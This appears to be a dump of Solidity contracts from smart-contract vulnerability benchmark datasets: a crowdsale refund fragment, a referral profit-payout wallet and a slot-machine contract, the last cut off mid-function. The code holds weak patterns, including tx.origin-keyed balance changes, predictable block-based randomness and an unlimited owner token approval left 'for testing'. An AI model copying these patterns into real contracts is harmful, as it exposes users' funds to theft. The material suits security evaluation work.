uint256 value = ledger[investor];
ledger[investor] = 0;
investor.transfer(value);
emit Refunded(investor, value);
}
function buyTokens(address beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// bonus tokens accrual and ensure token balance is enough for accrued tokens release
_accrueBonusTokens(beneficiary, tokens, weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender,
beneficiary,
weiAmount,
tokens);
if (_weiRaised >= softCap) _forwardFunds();
ledger[msg.sender] = ledger[msg.sender].add(msg.value);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
function _accrueBonusTokens(address beneficiary, uint256 tokenAmount, uint256 weiAmount) internal {
uint32 bonus = 0;
uint256 bonusTokens = 0;
uint256 tokenBalance = _token.balanceOf(address(this));
if (_whitelist[beneficiary] && now < ICO_Start) bonus = bonus + whitelistedBonus;
if (now < preICO_2_Start) {
bonus = bonus + bonus1;
bonusTokens = tokenAmount.mul(bonus).div(100);
require(tokenBalance >= _accruedTokensAmount.add(bonusTokens).add(tokenAmount));
_accruedTokensAmount = _accruedTokensAmount.add(bonusTokens);
nineMonthsFreezingAccrual[beneficiary] = nineMonthsFreezingAccrual[beneficiary].add(bonusTokens);
emit Accrual(beneficiary, bonusTokens, _nineMonths, tokenAmount, weiAmount);
} else if (now < preICO_3_Start) {
bonus = bonus + bonus2;
bonusTokens = tokenAmount.mul(bonus).div(100);
require(tokenBalance >= _accruedTokensAmount.add(bonusTokens).add(tokenAmount));
_accruedTokensAmount = _accruedTokensAmount.add(bonusTokens);
sixMonthsFreezingAccrual[beneficiary] = sixMonthsFreezingAccrual[beneficiary].add(bonusTokens);
emit Accrual(beneficiary, bonusTokens, _sixMonths, tokenAmount, weiAmount);
} else if (now < ICO_Start) {
bonus = bonus + bonus3;
bonusTokens = tokenAmount.mul(bonus).div(100);
require(tokenBalance >= _accruedTokensAmount.add(bonusTokens).add(tokenAmount));
_accruedTokensAmount = _accruedTokensAmount.add(bonusTokens);
threeMonthsFreezingAccrual[beneficiary] = threeMonthsFreezingAccrual[beneficiary].add(bonusTokens);
emit Accrual(beneficiary, bonusTokens, _threeMonths, tokenAmount, weiAmount);
} else {
require(tokenBalance >= _accruedTokensAmount.add(tokenAmount));
emit Accrual(beneficiary, 0, 0, tokenAmount, weiAmount);
}
}
function _preValidatePurchase(address beneficiary,
uint256 weiAmount)
internal view
{
require(beneficiary != address(0));
require(weiAmount != 0);
require(_weiRaised.add(weiAmount) <= hardCap);
require(now >= preICO_1_Start);
require(now <= ICO_End);
}
function _deliverTokens(address beneficiary,
uint256 tokenAmount)
internal
{
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(address beneficiary,
uint256 tokenAmount)
internal
{
_deliverTokens(beneficiary, tokenAmount);
}
function _getTokenAmount(uint256 weiAmount)
internal view returns (uint256)
{
return weiAmount.mul(_rate).div(1e18);
}
function _forwardFunds() internal {
uint256 balance = address(this).balance;
_wallet.transfer(balance);
}
}
| 142,034 | 11,164 |
12b79341445d0b678c7ad7bb901df083024651551cae23b18855f2c4bd2a04ae
| 21,752 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x830ff780f8bc587e8f7bd3dbd9d551de48ff4f78.sol
| 5,723 | 21,468 |
pragma solidity 0.4.24;
contract Auth {
address internal mainAdmin;
address internal contractAdmin;
address internal profitAdmin;
address internal ethAdmin;
address internal LAdmin;
address internal maxSAdmin;
address internal backupAdmin;
address internal commissionAdmin;
event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner);
constructor(address _mainAdmin,
address _contractAdmin,
address _profitAdmin,
address _ethAdmin,
address _LAdmin,
address _maxSAdmin,
address _backupAdmin,
address _commissionAdmin)
internal
{
mainAdmin = _mainAdmin;
contractAdmin = _contractAdmin;
profitAdmin = _profitAdmin;
ethAdmin = _ethAdmin;
LAdmin = _LAdmin;
maxSAdmin = _maxSAdmin;
backupAdmin = _backupAdmin;
commissionAdmin = _commissionAdmin;
}
modifier onlyMainAdmin() {
require(isMainAdmin(), "onlyMainAdmin");
_;
}
modifier onlyContractAdmin() {
require(isContractAdmin() || isMainAdmin(), "onlyContractAdmin");
_;
}
modifier onlyProfitAdmin() {
require(isProfitAdmin() || isMainAdmin(), "onlyProfitAdmin");
_;
}
modifier onlyEthAdmin() {
require(isEthAdmin() || isMainAdmin(), "onlyEthAdmin");
_;
}
modifier onlyLAdmin() {
require(isLAdmin() || isMainAdmin(), "onlyLAdmin");
_;
}
modifier onlyMaxSAdmin() {
require(isMaxSAdmin() || isMainAdmin(), "onlyMaxSAdmin");
_;
}
modifier onlyBackupAdmin() {
require(isBackupAdmin() || isMainAdmin(), "onlyBackupAdmin");
_;
}
modifier onlyBackupAdmin2() {
require(isBackupAdmin(), "onlyBackupAdmin");
_;
}
function isMainAdmin() public view returns (bool) {
return msg.sender == mainAdmin;
}
function isContractAdmin() public view returns (bool) {
return msg.sender == contractAdmin;
}
function isProfitAdmin() public view returns (bool) {
return msg.sender == profitAdmin;
}
function isEthAdmin() public view returns (bool) {
return msg.sender == ethAdmin;
}
function isLAdmin() public view returns (bool) {
return msg.sender == LAdmin;
}
function isMaxSAdmin() public view returns (bool) {
return msg.sender == maxSAdmin;
}
function isBackupAdmin() public view returns (bool) {
return msg.sender == backupAdmin;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath mul error");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath div error");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath sub error");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath add error");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath mod error");
return a % b;
}
}
interface ICitizen {
function addF1DepositedToInviter(address _invitee, uint _amount) external;
function addNetworkDepositedToInviter(address _inviter, uint _amount, uint _source, uint _sourceAmount) external;
function checkInvestorsInTheSameReferralTree(address _inviter, address _invitee) external view returns (bool);
function getF1Deposited(address _investor) external view returns (uint);
function getId(address _investor) external view returns (uint);
function getInvestorCount() external view returns (uint);
function getInviter(address _investor) external view returns (address);
function getDirectlyInvitee(address _investor) external view returns (address[]);
function getDirectlyInviteeHaveJoinedPackage(address _investor) external view returns (address[]);
function getNetworkDeposited(address _investor) external view returns (uint);
function getRank(address _investor) external view returns (uint);
function getUserAddress(uint _index) external view returns (address);
function getSubscribers(address _investor) external view returns (uint);
function increaseInviterF1HaveJoinedPackage(address _invitee) external;
function isCitizen(address _user) view external returns (bool);
function register(address _user, string _userName, address _inviter) external returns (uint);
function showInvestorInfo(address _investorAddress) external view returns (uint, string memory, address, address[], uint, uint, uint, uint);
function getDepositInfo(address _investor) external view returns (uint, uint, uint, uint, uint);
function rankBonuses(uint _index) external view returns (uint);
}
interface IReserveFund {
function getLS(address _investor) view external returns (uint8);
function getTransferDiff() view external returns (uint);
function register(string _userName, address _inviter) external;
function miningToken(uint _tokenAmount) external;
function swapToken(uint _amount) external;
}
interface IWallet {
function bonusForAdminWhenUserJoinPackageViaDollar(uint _amount, address _admin) external;
function bonusNewRank(address _investorAddress, uint _currentRank, uint _newRank) external;
function mineToken(address _from, uint _amount) external;
function deposit(address _to, uint _deposited, uint8 _source, uint _sourceAmount) external;
function getInvestorLastDeposited(address _investor) external view returns (uint);
function getUserWallet(address _investor) external view returns (uint, uint[], uint, uint, uint, uint, uint);
function getProfitBalance(address _investor) external view returns (uint);
function increaseETHWithdrew(uint _amount) external;
function validateCanMineToken(uint _tokenAmount, address _from) external view;
function ethWithdrew() external view returns (uint);
}
contract Wallet is Auth {
using SafeMath for uint;
struct Balance {
uint totalDeposited;
uint[] deposited;
uint profitableBalance;
uint profitSourceBalance;
uint profitBalance;
uint totalProfited;
uint amountToMineToken;
uint ethWithdrew;
}
struct TTracker {
uint time;
uint amount;
}
IReserveFund public reserveFund;
ICitizen public citizen;
IWallet private oldWallet = IWallet(0xb9Eba03886274D485f40844b0F233e6Ec0DAf370);
uint public ethWithdrew;
uint private profitPaid;
uint private f11RewardCondition = 183000000;
bool public isLProfitAdmin = false;
uint public maxT = 5000000;
mapping(address => TTracker[]) private transferTracker;
mapping (address => Balance) private userWallets;
mapping (address => bool) private ha;
modifier onlyReserveFundContract() {
require(msg.sender == address(reserveFund), "onlyReserveFundContract");
_;
}
modifier onlyCitizenContract() {
require(msg.sender == address(citizen), "onlyCitizenContract");
_;
}
event ProfitBalanceTransferred(address from, address to, uint amount);
event RankBonusSent(address investor, uint rank, uint amount);
event ProfitSourceBalanceChanged(address investor, int amount, address from, uint8 source);
event ProfitableBalanceChanged(address investor, int amount, address from, uint8 source);
event ProfitBalanceChanged(address from, address to, int amount, uint8 source);
constructor (address _mainAdmin,
address _profitAdmin,
address _LAdmin,
address _backupAdmin)
Auth(_mainAdmin,
msg.sender,
_profitAdmin,
0x0,
_LAdmin,
0x0,
_backupAdmin,
0x0)
public {}
function getProfitPaid() onlyMainAdmin public view returns(uint) {
return profitPaid;
}
function setC(address _citizen) onlyContractAdmin public {
citizen = ICitizen(_citizen);
}
function setMaxT(uint _maxT) onlyMainAdmin public {
require(_maxT > 0, "Must be > 0");
maxT = _maxT;
}
function updateMainAdmin(address _newMainAdmin) onlyBackupAdmin public {
require(_newMainAdmin != address(0x0), "Invalid address");
mainAdmin = _newMainAdmin;
}
function updateContractAdmin(address _newContractAdmin) onlyMainAdmin public {
require(_newContractAdmin != address(0x0), "Invalid address");
contractAdmin = _newContractAdmin;
}
function updateLockerAdmin(address _newLockerAdmin) onlyMainAdmin public {
require(_newLockerAdmin != address(0x0), "Invalid address");
LAdmin = _newLockerAdmin;
}
function updateBackupAdmin(address _newBackupAdmin) onlyBackupAdmin2 public {
require(_newBackupAdmin != address(0x0), "Invalid address");
backupAdmin = _newBackupAdmin;
}
function updateProfitAdmin(address _newProfitAdmin) onlyMainAdmin public {
require(_newProfitAdmin != address(0x0), "Invalid profitAdmin address");
profitAdmin = _newProfitAdmin;
}
function lockTheProfitAdmin() onlyLAdmin public {
isLProfitAdmin = true;
}
function unLockTheProfitAdmin() onlyMainAdmin public {
isLProfitAdmin = false;
}
function updateHA(address _address, bool _value) onlyMainAdmin public {
ha[_address] = _value;
}
function checkHA(address _address) onlyMainAdmin public view returns (bool) {
return ha[_address];
}
function setRF(address _reserveFundContract) onlyContractAdmin public {
reserveFund = IReserveFund(_reserveFundContract);
}
function syncContractLevelData(uint _profitPaid) onlyContractAdmin public {
ethWithdrew = oldWallet.ethWithdrew();
profitPaid = _profitPaid;
}
function syncData(address[] _investors, uint[] _amountToMineToken) onlyContractAdmin public {
require(_investors.length == _amountToMineToken.length, "Array length invalid");
for (uint i = 0; i < _investors.length; i++) {
uint totalDeposited;
uint[] memory deposited;
uint profitableBalance;
uint profitSourceBalance;
uint profitBalance;
uint totalProfited;
uint oldEthWithdrew;
(totalDeposited,
deposited,
profitableBalance,
profitSourceBalance,
profitBalance,
totalProfited,
oldEthWithdrew) = oldWallet.getUserWallet(_investors[i]);
Balance storage balance = userWallets[_investors[i]];
balance.totalDeposited = totalDeposited;
balance.deposited = deposited;
balance.profitableBalance = profitableBalance;
balance.profitSourceBalance = profitSourceBalance;
balance.profitBalance = profitBalance;
balance.totalProfited = totalProfited;
balance.amountToMineToken = _amountToMineToken[i];
balance.ethWithdrew = oldEthWithdrew;
}
}
function energy(address[] _userAddresses) onlyProfitAdmin public {
if (isProfitAdmin()) {
require(!isLProfitAdmin, "unAuthorized");
}
require(_userAddresses.length > 0, "Invalid input");
uint investorCount = citizen.getInvestorCount();
uint dailyPercent;
uint dailyProfit;
uint8 lockProfit = 1;
uint id;
address userAddress;
for (uint i = 0; i < _userAddresses.length; i++) {
id = citizen.getId(_userAddresses[i]);
require(investorCount > id, "Invalid userId");
userAddress = _userAddresses[i];
if (reserveFund.getLS(userAddress) != lockProfit) {
Balance storage balance = userWallets[userAddress];
dailyPercent = (balance.totalProfited == 0 || balance.totalProfited < balance.totalDeposited) ? 5 : (balance.totalProfited < 4 * balance.totalDeposited) ? 4 : 3;
dailyProfit = balance.profitableBalance.mul(dailyPercent).div(1000);
balance.profitableBalance = balance.profitableBalance.sub(dailyProfit);
balance.profitBalance = balance.profitBalance.add(dailyProfit);
balance.totalProfited = balance.totalProfited.add(dailyProfit);
profitPaid = profitPaid.add(dailyProfit);
emit ProfitBalanceChanged(address(0x0), userAddress, int(dailyProfit), 0);
}
}
}
function deposit(address _to, uint _deposited, uint8 _source, uint _sourceAmount) onlyReserveFundContract public {
require(_to != address(0x0), "User address can not be empty");
require(_deposited > 0, "Package value must be > 0");
Balance storage balance = userWallets[_to];
bool firstDeposit = balance.deposited.length == 0;
balance.deposited.push(_deposited);
uint profitableIncreaseAmount = _deposited * (firstDeposit ? 2 : 1);
uint profitSourceIncreaseAmount = _deposited * 8;
balance.totalDeposited = balance.totalDeposited.add(_deposited);
balance.profitableBalance = balance.profitableBalance.add(profitableIncreaseAmount);
balance.profitSourceBalance = balance.profitSourceBalance.add(_deposited * 8);
if (_source == 2) {
if (_to == tx.origin) {
balance.profitBalance = balance.profitBalance.sub(_deposited);
} else {
Balance storage senderBalance = userWallets[tx.origin];
senderBalance.profitBalance = senderBalance.profitBalance.sub(_deposited);
}
emit ProfitBalanceChanged(tx.origin, _to, int(_deposited) * -1, 1);
}
citizen.addF1DepositedToInviter(_to, _deposited);
addRewardToInviters(_to, _deposited, _source, _sourceAmount);
if (firstDeposit) {
citizen.increaseInviterF1HaveJoinedPackage(_to);
}
if (profitableIncreaseAmount > 0) {
emit ProfitableBalanceChanged(_to, int(profitableIncreaseAmount), _to, _source);
emit ProfitSourceBalanceChanged(_to, int(profitSourceIncreaseAmount), _to, _source);
}
}
function bonusForAdminWhenUserJoinPackageViaDollar(uint _amount, address _admin) onlyReserveFundContract public {
Balance storage adminBalance = userWallets[_admin];
adminBalance.profitBalance = adminBalance.profitBalance.add(_amount);
}
function increaseETHWithdrew(uint _amount) onlyReserveFundContract public {
ethWithdrew = ethWithdrew.add(_amount);
}
function mineToken(address _from, uint _amount) onlyReserveFundContract public {
Balance storage userBalance = userWallets[_from];
userBalance.profitBalance = userBalance.profitBalance.sub(_amount);
userBalance.amountToMineToken = userBalance.amountToMineToken.add(_amount);
}
function validateCanMineToken(uint _fiatAmount, address _from) onlyReserveFundContract public view {
Balance storage userBalance = userWallets[_from];
require(userBalance.amountToMineToken.add(_fiatAmount) <= 3 * userBalance.totalDeposited, "You can only mine maximum 3x of your total deposited");
}
function getProfitBalance(address _investor) onlyReserveFundContract public view returns (uint) {
validateSender(_investor);
return userWallets[_investor].profitBalance;
}
function getInvestorLastDeposited(address _investor) onlyReserveFundContract public view returns (uint) {
validateSender(_investor);
return userWallets[_investor].deposited.length == 0 ? 0 : userWallets[_investor].deposited[userWallets[_investor].deposited.length - 1];
}
function bonusNewRank(address _investorAddress, uint _currentRank, uint _newRank) onlyCitizenContract public {
require(_newRank > _currentRank, "Invalid ranks");
Balance storage balance = userWallets[_investorAddress];
for (uint8 i = uint8(_currentRank) + 1; i <= uint8(_newRank); i++) {
uint rankBonusAmount = citizen.rankBonuses(i);
balance.profitBalance = balance.profitBalance.add(rankBonusAmount);
if (rankBonusAmount > 0) {
emit RankBonusSent(_investorAddress, i, rankBonusAmount);
}
}
}
function getUserWallet(address _investor)
public
view
returns (uint, uint[], uint, uint, uint, uint, uint)
{
validateSender(_investor);
Balance storage balance = userWallets[_investor];
return (balance.totalDeposited,
balance.deposited,
balance.profitableBalance,
balance.profitSourceBalance,
balance.profitBalance,
balance.totalProfited,
balance.ethWithdrew);
}
function transferProfitWallet(uint _amount, address _to) public {
require(_amount >= reserveFund.getTransferDiff(), "Amount must be >= transferDiff");
validateTAmount(_amount);
Balance storage senderBalance = userWallets[msg.sender];
require(citizen.isCitizen(msg.sender), "Please register first");
require(citizen.isCitizen(_to), "You can only transfer to an exists member");
require(senderBalance.profitBalance >= _amount, "You have not enough balance");
bool inTheSameTree = citizen.checkInvestorsInTheSameReferralTree(msg.sender, _to);
require(inTheSameTree, "This user isn't in your referral tree");
Balance storage receiverBalance = userWallets[_to];
senderBalance.profitBalance = senderBalance.profitBalance.sub(_amount);
receiverBalance.profitBalance = receiverBalance.profitBalance.add(_amount);
emit ProfitBalanceTransferred(msg.sender, _to, _amount);
}
function getAmountToMineToken(address _investor) public view returns(uint) {
validateSender(_investor);
return userWallets[_investor].amountToMineToken;
}
function addRewardToInviters(address _invitee, uint _amount, uint8 _source, uint _sourceAmount) private {
address inviter;
uint16 referralLevel = 1;
do {
inviter = citizen.getInviter(_invitee);
if (inviter != address(0x0)) {
citizen.addNetworkDepositedToInviter(inviter, _amount, _source, _sourceAmount);
checkAddReward(_invitee, inviter, referralLevel, _source, _amount);
_invitee = inviter;
referralLevel += 1;
}
} while (inviter != address(0x0));
}
function checkAddReward(address _invitee,address _inviter, uint16 _referralLevel, uint8 _source, uint _amount) private {
uint f1Deposited = citizen.getF1Deposited(_inviter);
uint networkDeposited = citizen.getNetworkDeposited(_inviter);
uint directlyInviteeCount = citizen.getDirectlyInviteeHaveJoinedPackage(_inviter).length;
uint rank = citizen.getRank(_inviter);
if (_referralLevel == 1) {
moveBalanceForInvitingSuccessful(_invitee, _inviter, _referralLevel, _source, _amount);
} else if (_referralLevel > 1 && _referralLevel < 11) {
bool condition1 = userWallets[_inviter].deposited.length > 0 ? f1Deposited >= userWallets[_inviter].deposited[0] * 3 : false;
bool condition2 = directlyInviteeCount >= _referralLevel;
if (condition1 && condition2) {
moveBalanceForInvitingSuccessful(_invitee, _inviter, _referralLevel, _source, _amount);
}
} else {
condition1 = userWallets[_inviter].deposited.length > 0 ? f1Deposited >= userWallets[_inviter].deposited[0] * 3: false;
condition2 = directlyInviteeCount >= 10;
bool condition3 = networkDeposited >= f11RewardCondition;
bool condition4 = rank >= 3;
if (condition1 && condition2 && condition3 && condition4) {
moveBalanceForInvitingSuccessful(_invitee, _inviter, _referralLevel, _source, _amount);
}
}
}
function moveBalanceForInvitingSuccessful(address _invitee, address _inviter, uint16 _referralLevel, uint8 _source, uint _amount) private {
uint divider = (_referralLevel == 1) ? 2 : (_referralLevel > 1 && _referralLevel < 11) ? 10 : 20;
Balance storage balance = userWallets[_inviter];
uint willMoveAmount = _amount / divider;
if (balance.profitSourceBalance > willMoveAmount) {
balance.profitableBalance = balance.profitableBalance.add(willMoveAmount);
balance.profitSourceBalance = balance.profitSourceBalance.sub(willMoveAmount);
if (willMoveAmount > 0) {
emit ProfitableBalanceChanged(_inviter, int(willMoveAmount), _invitee, _source);
emit ProfitSourceBalanceChanged(_inviter, int(willMoveAmount) * -1, _invitee, _source);
}
} else {
if (balance.profitSourceBalance > 0) {
emit ProfitableBalanceChanged(_inviter, int(balance.profitSourceBalance), _invitee, _source);
emit ProfitSourceBalanceChanged(_inviter, int(balance.profitSourceBalance) * -1, _invitee, _source);
}
balance.profitableBalance = balance.profitableBalance.add(balance.profitSourceBalance);
balance.profitSourceBalance = 0;
}
}
function validateTAmount(uint _amount) private {
TTracker[] storage userTransferHistory = transferTracker[msg.sender];
if (userTransferHistory.length == 0) {
require(_amount <= maxT, "Amount is invalid");
} else {
uint totalTransferredInLast24Hour = 0;
uint countTrackerNotInLast24Hour = 0;
uint length = userTransferHistory.length;
for (uint i = 0; i < length; i++) {
TTracker storage tracker = userTransferHistory[i];
bool transferInLast24Hour = now - 1 days < tracker.time;
if(transferInLast24Hour) {
totalTransferredInLast24Hour = totalTransferredInLast24Hour.add(tracker.amount);
} else {
countTrackerNotInLast24Hour++;
}
}
if (countTrackerNotInLast24Hour > 0) {
for (uint j = 0; j < userTransferHistory.length - countTrackerNotInLast24Hour; j++){
userTransferHistory[j] = userTransferHistory[j + countTrackerNotInLast24Hour];
}
userTransferHistory.length -= countTrackerNotInLast24Hour;
}
require(totalTransferredInLast24Hour.add(_amount) <= maxT, "Too much for today");
}
userTransferHistory.push(TTracker(now, _amount));
}
function validateSender(address _investor) private view {
if (msg.sender != _investor && msg.sender != mainAdmin && msg.sender != address(reserveFund)) {
require(!ha[_investor]);
}
}
}
| 166,585 | 11,165 |
d6b2ee4e473e2ee6d65842609ae3cb743e591710ed5c2269223870a354c53166
| 18,702 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x831ad9736d8b955cdec28d2f0374478f1d335beb.sol
| 4,221 | 16,386 |
pragma solidity ^0.4.24;
contract ZTHReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ZTHInterface {
function transfer(address _to, uint _value) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
}
contract Zlots is ZTHReceivingContract {
using SafeMath for uint;
address private owner;
address private bankroll;
// How many bets have been made?
uint totalSpins;
uint totalZTHWagered;
// How many ZTH are in the contract?
uint contractBalance;
// Is betting allowed? (Administrative function, in the event of unforeseen bugs)
bool public gameActive;
address private ZTHTKNADDR;
address private ZTHBANKROLL;
ZTHInterface private ZTHTKN;
mapping (uint => bool) validTokenBet;
// Might as well notify everyone when the house takes its cut out.
event HouseRetrievedTake(uint timeTaken,
uint tokensWithdrawn);
// Fire an event whenever someone places a bet.
event TokensWagered(address _wagerer,
uint _wagered);
event LogResult(address _wagerer,
uint _result,
uint _profit,
uint _wagered,
uint _category,
bool _win);
// Result announcement events (to dictate UI output!)
event Loss(address _wagerer, uint _block); // Category 0
event ThreeMoonJackpot(address _wagerer, uint _block); // Category 1
event TwoMoonPrize(address _wagerer, uint _block); // Category 2
event ZTHJackpot(address _wagerer, uint _block); // Category 3
event ThreeZSymbols(address _wagerer, uint _block); // Category 4
event ThreeTSymbols(address _wagerer, uint _block); // Category 5
event ThreeHSymbols(address _wagerer, uint _block); // Category 6
event ThreeEtherIcons(address _wagerer, uint _block); // Category 7
event ThreeGreenPyramids(address _wagerer, uint _block); // Category 8
event ThreeGoldPyramids(address _wagerer, uint _block); // Category 9
event ThreeWhitePyramids(address _wagerer, uint _block); // Category 10
event OneMoonPrize(address _wagerer, uint _block); // Category 11
event OneOfEachPyramidPrize(address _wagerer, uint _block); // Category 12
event TwoZSymbols(address _wagerer, uint _block); // Category 13
event TwoTSymbols(address _wagerer, uint _block); // Category 14
event TwoHSymbols(address _wagerer, uint _block); // Category 15
event TwoEtherIcons(address _wagerer, uint _block); // Category 16
event TwoGreenPyramids(address _wagerer, uint _block); // Category 17
event TwoGoldPyramids(address _wagerer, uint _block); // Category 18
event TwoWhitePyramids(address _wagerer, uint _block); // Category 19
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyBankroll {
require(msg.sender == bankroll);
_;
}
modifier onlyOwnerOrBankroll {
require(msg.sender == owner || msg.sender == bankroll);
_;
}
// Requires game to be currently active
modifier gameIsActive {
require(gameActive == true);
_;
}
constructor(address ZethrAddress, address BankrollAddress) public {
// Set Zethr & Bankroll address from constructor params
ZTHTKNADDR = ZethrAddress;
ZTHBANKROLL = BankrollAddress;
// Set starting variables
owner = msg.sender;
bankroll = ZTHBANKROLL;
// Approve "infinite" token transfer to the bankroll, as part of Zethr game requirements.
ZTHTKN = ZTHInterface(ZTHTKNADDR);
ZTHTKN.approve(ZTHBANKROLL, 2**256 - 1);
// For testing purposes. This is to be deleted on go-live. (see testingSelfDestruct)
ZTHTKN.approve(owner, 2**256 - 1);
// To start with, we only allow spins of 5, 10, 25 or 50 ZTH.
validTokenBet[5e18] = true;
validTokenBet[10e18] = true;
validTokenBet[25e18] = true;
validTokenBet[50e18] = true;
gameActive = true;
}
// Zethr dividends gained are accumulated and sent to bankroll manually
function() public payable { }
struct TKN { address sender; uint value; }
function tokenFallback(address _from, uint _value, bytes) public returns (bool){
if (_from == bankroll) {
// Update the contract balance
contractBalance = contractBalance.add(_value);
return true;
} else {
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
_spinTokens(_tkn);
return true;
}
}
struct playerSpin {
uint200 tokenValue; // Token value in uint
uint48 blockn; // Block number 48 bits
}
// Mapping because a player can do one spin at a time
mapping(address => playerSpin) public playerSpins;
// Execute spin.
function _spinTokens(TKN _tkn) private {
require(gameActive);
require(_zthToken(msg.sender));
require(validTokenBet[_tkn.value]);
require(jackpotGuard(_tkn.value));
require(_tkn.value < ((2 ** 200) - 1)); // Smaller than the storage of 1 uint200;
require(block.number < ((2 ** 48) - 1)); // Current block number smaller than storage of 1 uint48
address _customerAddress = _tkn.sender;
uint _wagered = _tkn.value;
playerSpin memory spin = playerSpins[_tkn.sender];
contractBalance = contractBalance.add(_wagered);
// Cannot spin twice in one block
require(block.number != spin.blockn);
// If there exists a spin, finish it
if (spin.blockn != 0) {
_finishSpin(_tkn.sender);
}
// Set struct block number and token value
spin.blockn = uint48(block.number);
spin.tokenValue = uint200(_wagered);
// Store the roll struct - 20k gas.
playerSpins[_tkn.sender] = spin;
// Increment total number of spins
totalSpins += 1;
// Total wagered
totalZTHWagered += _wagered;
emit TokensWagered(_customerAddress, _wagered);
}
// Finish the current spin of a player, if they have one
function finishSpin() public
gameIsActive
returns (uint)
{
return _finishSpin(msg.sender);
}
function _finishSpin(address target)
private returns (uint)
{
playerSpin memory spin = playerSpins[target];
require(spin.tokenValue > 0); // No re-entrancy
require(spin.blockn != block.number);
uint profit = 0;
uint category = 0;
// If the block is more than 255 blocks old, we can't get the result
// Also, if the result has already happened, fail as well
uint result;
if (block.number - spin.blockn > 255) {
result = 9999; // Can't win: default to largest number
} else {
// Generate a result - random based ONLY on a past block (future when submitted).
// Case statement barrier numbers defined by the current payment schema at the top of the contract.
result = random(1000000, spin.blockn, target);
}
if (result > 476661) {
// Player has lost.
emit Loss(target, spin.blockn);
emit LogResult(target, result, profit, spin.tokenValue, category, false);
} else
if (result < 1) {
// Player has won the three-moon mega jackpot!
profit = SafeMath.mul(spin.tokenValue, 500);
category = 1;
emit ThreeMoonJackpot(target, spin.blockn);
} else
if (result < 298) {
// Player has won a two-moon prize!
profit = SafeMath.mul(spin.tokenValue, 232);
category = 2;
emit TwoMoonPrize(target, spin.blockn);
} else
if (result < 3127) {
// Player has won the Z T H jackpot!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232), 10);
category = 3;
emit ZTHJackpot(target, spin.blockn);
} else
if (result < 5956) {
// Player has won a three Z symbol prize
profit = SafeMath.mul(spin.tokenValue, 25);
category = 4;
emit ThreeZSymbols(target, spin.blockn);
} else
if (result < 8785) {
// Player has won a three T symbol prize
profit = SafeMath.mul(spin.tokenValue, 25);
category = 5;
emit ThreeTSymbols(target, spin.blockn);
} else
if (result < 11614) {
// Player has won a three H symbol prize
profit = SafeMath.mul(spin.tokenValue, 25);
category = 6;
emit ThreeHSymbols(target, spin.blockn);
} else
if (result < 14443) {
// Player has won a three Ether icon prize
profit = SafeMath.mul(spin.tokenValue, 50);
category = 7;
emit ThreeEtherIcons(target, spin.blockn);
} else
if (result < 17272) {
// Player has won a three green pyramid prize
profit = SafeMath.mul(spin.tokenValue, 40);
category = 8;
emit ThreeGreenPyramids(target, spin.blockn);
} else
if (result < 20101) {
// Player has won a three gold pyramid prize
profit = SafeMath.mul(spin.tokenValue, 20);
category = 9;
emit ThreeGoldPyramids(target, spin.blockn);
} else
if (result < 22929) {
// Player has won a three white pyramid prize
profit = SafeMath.mul(spin.tokenValue, 20);
category = 10;
emit ThreeWhitePyramids(target, spin.blockn);
} else
if (result < 52332) {
// Player has won a one moon prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 125),10);
category = 11;
emit OneMoonPrize(target, spin.blockn);
} else
if (result < 120225) {
// Player has won a each-coloured-pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10);
category = 12;
emit OneOfEachPyramidPrize(target, spin.blockn);
} else
if (result < 171146) {
// Player has won a two Z symbol prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100);
category = 13;
emit TwoZSymbols(target, spin.blockn);
} else
if (result < 222067) {
// Player has won a two T symbol prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100);
category = 14;
emit TwoTSymbols(target, spin.blockn);
} else
if (result < 272988) {
// Player has won a two H symbol prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100);
category = 15;
emit TwoHSymbols(target, spin.blockn);
} else
if (result < 323909) {
// Player has won a two Ether icon prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 375),100);
category = 16;
emit TwoEtherIcons(target, spin.blockn);
} else
if (result < 374830) {
// Player has won a two green pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 35),10);
category = 17;
emit TwoGreenPyramids(target, spin.blockn);
} else
if (result < 425751) {
// Player has won a two gold pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 225),100);
category = 18;
emit TwoGoldPyramids(target, spin.blockn);
} else {
// Player has won a two white pyramid prize!
profit = SafeMath.mul(spin.tokenValue, 2);
category = 19;
emit TwoWhitePyramids(target, spin.blockn);
}
emit LogResult(target, result, profit, spin.tokenValue, category, true);
contractBalance = contractBalance.sub(profit);
ZTHTKN.transfer(target, profit);
//Reset playerSpin to default values.
